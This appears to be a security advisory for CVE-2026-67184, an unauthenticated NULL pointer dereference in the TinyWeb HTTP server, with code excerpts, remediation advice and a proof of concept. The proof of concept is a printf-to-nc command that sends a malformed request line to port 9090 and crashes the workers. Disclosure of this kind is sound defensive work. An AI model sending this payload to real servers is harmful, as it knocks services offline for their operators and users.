## https://sploitus.com/exploit?id=PACKETSTORM:227152
# Security Advisory: Unauthenticated NULL Pointer Dereference Crashes the Server (TinyWeb)
**Assigned CVE ID:** CVE-2026-67184
## Summary
When TinyWeb fails to parse a request line, it returns an error but leaves the request's URL pointer set to NULL. The caller ignores the error and passes the request to the response builder, which dereferences that NULL pointer and crashes the worker. A few malformed requests take the whole server down, and it does not recover.
## Affected software
- Project: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
- Version reported by the build: `TnyWeb/0.0.8`
- Affected commits: `e48f15d` (2018-11-20), where this parser and response path were introduced, through `a381da2` (2023-11-22, latest on `master`).
- Fixed version: none.
## Classification
- CWE-476: NULL Pointer Dereference
- CVSS 4.0 base score: 8.7 (High)
- Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
## Threat model
An unauthenticated remote attacker who can reach the server's listening TCP port (9090 in the shipped configuration). No credentials or user interaction are required.
## Technical details
`HttpParser::execute()` allocates the URL object only after the request line has parsed successfully. A malformed HTTP version makes the version check fail and jump to the error label, which returns -1 before the allocation runs:
```cpp
// src/tiny_http/http_parser.cc:1401 (the "H" of "HTTP" is expected here)
checkOrGoError((ch == 'H')); // false -> goto error
// src/tiny_http/http_parser.cc:1692 (skipped by the goto above)
request->url = new Url;
// src/tiny_http/http_parser.cc:1750-1753
error:
LOG(Debug) << "http request content is invalid\n";
return -1;
```
The `HttpRequest` is created with `std::make_shared<HttpRequest>()`, which value-initializes it, so `url` stays NULL when the allocation is skipped.
`WebProtocol::dataReceived()` records the return value but calls `buildResponse()` regardless:
```cpp
// src/tiny_http/http_protocol.cc:57-61
valid = m_nParser.execute(data.c_str(), begin, data.size(), m_pRequest.get());
valid_requ = (valid == -1) ? false : true;
// src/tiny_http/http_protocol.cc:75
m_nResponser.buildResponse(m_pRequest.get(), valid_requ, m_pResponse.get());
```
`buildResponse()` receives `valid_requ == false` but never checks it, and dereferences the NULL URL pointer:
```cpp
// src/tiny_http/http_responser.cc:66
Url* url = req->url; // NULL
// src/tiny_http/http_responser.cc:83
if (url->field_set & (1 << HTTP_UF_PATH)) { // SIGSEGV
```
The worker process crashes on this access. It is not restarted into a serving state, so once the workers are gone the server stops answering.
## Proof of concept
1. Start the server with the shipped configuration (listening on port 9090).
2. Confirm it answers a normal request:
```
curl http://TARGET:9090/
```
3. Send a request whose version token is malformed. `XTTP/1.1` fails the version check after the request line has already committed to request mode:
```
printf 'GET / XTTP/1.1\r\n\r\n' | nc TARGET 9090
```
4. Repeat step 3 a handful of times to exhaust the worker pool, then retry the normal request from step 2. It now times out with no response, because every worker has crashed.
A debugger attached to a worker shows the crash at the NULL dereference:
```
#0 HttpBuilder::buildResponse (valid_requ=false) at src/tiny_http/http_responser.cc:83
#1 WebProtocol::dataReceived (data="GET / XTTP/1.1\r\n...") at src/tiny_http/http_protocol.cc:75
```
## Impact
An unauthenticated attacker can crash the server workers with a few short requests and keep the service offline by resending them. This is a denial of service.
## Remediation
In `dataReceived()`, when `valid_requ` is false, build an error response and return instead of calling `buildResponse()`. In `buildResponse()`, check `req->url` for NULL before using it. Allocating the URL object before the parse can fail would also close the gap.